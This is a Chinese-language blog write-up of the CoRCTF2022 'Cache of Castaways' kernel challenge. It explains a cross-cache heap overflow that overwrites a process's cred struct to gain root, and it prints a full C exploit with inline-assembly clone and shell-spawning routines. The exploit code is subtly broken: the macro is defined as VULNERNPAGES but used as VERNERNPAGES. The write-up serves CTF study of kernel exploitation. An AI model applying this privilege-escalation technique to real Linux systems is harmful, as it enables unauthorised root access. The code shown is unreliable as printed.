CoRCTF2022 Cache of Castaways

https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html

分析

Linux 5.18.3,保护全开.
漏洞是GFP_KERNEL_ACCOUNT 512字节独立缓存 最多6字节溢出
能分配0x190个漏洞对象

利用

既然是独立缓存,基本上就得用到Cross Cache的手法了.
自然想到参照CVE-2021-22555,修改某结构体头部指针低位转化为UAF.
还可以寻找开头6字节有类似size(造越界读写)字段的结构体.

不过这里有更好的结构, 与权限相关的Cred结构中uid字段在cred结构偏移4字节的位置.
如果通过堆风水溢出到Cred结构,即可直接完成提权.

Cred

跨缓存溢出的常见堆风水手法是: 分配大量order-n的页面(n取决于victim和vulnerable的pages per slab).释放其中的偶数页,喷射vulnerable.释放其中的奇数页,喷射victim.

那么唯一的问题即是如何喷射cred结构体.
常用的是fork,然而持续创建完整的进程,对分配量本身就极大的order-0页面是巨大的噪音,经测试每次fork消耗11-12张order 0 的页面,更致命的是,噪声中某些结构体被跨缓存溢出后会直接导致panic.

分析后是跨缓存溢出时破坏了页表条目.

1
2
3
4
5
6
7
/*
* Reserved bits are never expected to be set on
* entries in the user portion of the page tables.
*/
if (unlikely(error_code & X86_PF_RSVD))
pgtable_bad(regs, error_code, address);

为减小噪音和避免和页表有关的结构体分配,作者使用clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND,&func)的方式.详见官方WP.(Todo: Fork源码分析)

其中CLONE_VM要注意,父子进程运行在同一个地址空间中,所以应该避免子进程破环内存(堆栈).

CLONE_VM (since Linux 2.0)
If CLONE_VM is set, the calling process and the child
process run in the same memory space. In particular,
memory writes performed by the calling process or by the
child process are also visible in the other process.
Moreover, any memory mapping or unmapping performed with
mmap(2) or munmap(2) by the child or calling process also
affects the other process.
If CLONE_VM is not set, the child process runs in a
separate copy of the memory space of the calling process
at the time of the clone call. Memory writes or file
mappings/unmappings performed by one of the processes do
not affect the other, as with fork(2).
If the CLONE_VM flag is specified and the CLONE_VFORK flag
is not specified, then any alternate signal stack that was
established by sigaltstack(2) is cleared in the child
process.

采用这种方式,每次clone消耗4-5张order 0 的页面.更重要的是避免了panic.
其实通过查找对cred_jar,prepare_creds的交叉引用,可以发现很多的分配cred结构的地方.虽然它们不一定会创建task,但我们需要的可以只是提前喷射cred结构占位,待这些cred结构释放后,我们所准备的pages也就进入cred_jar中.再通过fork重新拿回即可. 已知可以通过setuid完成占位操作. (Todo: 更好用的cred喷射方法).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
#include <kernelpwn.h>

#define CLONE_FLAGS CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND


void add()
{
ioctl(dev_fd,0xCAFEBABE);
}

void edit(uint64_t idx,size_t size,char* data)
{
struct ARG
{
uint64_t idx_;
size_t size_;
char* data_;
};
struct ARG arg = {.idx_=idx,.size_=size,.data_=data};

ioctl(dev_fd,0xF00DBABE,&arg);
}

__attribute__((naked)) pid_t __clone(uint64_t flags, void *dest)
{
asm(
".intel_syntax noprefix;"
"mov r15, rsi;"
"xor rsi, rsi;"
"xor rdx, rdx;"
"xor r10, r10;"
"xor r9, r9;"
"mov rax, 56;"
"syscall;"
"cmp rax, 0;"
"jl bad_end;"
"jg good_end;"
"jmp r15;"
"bad_end:"
"neg rax;"
"ret;"
"good_end:"
"ret;"
".att_syntax;"
);
}


struct timespec timer = {.tv_sec = 1000000000, .tv_nsec = 0};
char throwaway;
char root[] = "root\n";
char binsh[] = "/bin/sh\x00";
char *args[] = {"/bin/sh", NULL};
int rootfd[2];

__attribute__((naked)) void check_and_wait()
{
asm(
".intel_syntax noprefix;"
"lea rax, [rootfd];"
"mov edi, dword ptr [rax];"
"lea rsi, [throwaway];"
"mov rdx, 1;"
"xor rax, rax;"
"syscall;"
"mov rax, 102;"
"syscall;"
"cmp rax, 0;"
"jne finish;"
"mov rdi, 1;"
"lea rsi, [root];"
"mov rdx, 5;"
"mov rax, 1;"
"syscall;"
"lea rdi, [binsh];"
"lea rsi, [args];"
"xor rdx, rdx;"
"mov rax, 59;"
"syscall;"
"finish:"
"lea rdi, [timer];"
"xor rsi, rsi;"
"mov rax, 35;"
"syscall;"
"ret;"
".att_syntax;"
);
}

void just_wait()
{
while(1)
{
sleep(15);
}
}

int main()
{
setvbuf(stdout,_IONBF,0,0);
setvbuf(stderr,_IONBF,0,0);
save_status();
bind_core(0);

if((dev_fd = open("/dev/castaway",O_RDWR))<0)
{
err_exit("open device");
}

prepare_pgv_system();
pipe(rootfd);


logd("Initial drain cred");
for(int i = 0;i<32*8;i++)
{
int pid = fork();
if(pid==0)
{
just_wait();
}
if(pid<0)
err_exit("fork");
}


#define VULNERNPAGES (0x190/8)


logd("Spray order-0 pages");
for(int i = 0;i < 6*VERNERNPAGES;++i)
alloc_page(i,0x1000,1);


logd("Release pages for vulnerable");
for(int i = 0;i <2*VERNERNPAGES;i+=2)
{
free_page(i);
}

logd("Spray vulnerable");
for(int i =0;i<0x190;++i)
{
add();
}

logd("Release pages for victim--cred");
for(int i = 1;i<2*VERNERNPAGES;i+=2)
{
free_page(i);
}


logd("Spray cred by __clone");
for(int j = 0;j<VERNERNPAGES;++j)
{
int pid = __clone(CLONE_FLAGS,&check_and_wait);
if(pid<0)
err_exit("fork");
}


char buf[0x200] = {0};
*(int*)(buf+0x1FA) = 1;


logd("Trigger oob");
for(int i =0;i<0x190;++i)
{
edit(i,0x200,buf);
}

logi("Weakup child to check and pop root shell");
write(rootfd[1], buf, 320);
sleep(100000);
exit(0);

return 0;
}

参考资料

https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html
https://linux.die.net/man/2/clone
https://bsauce.github.io/2022/11/07/castaways/

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信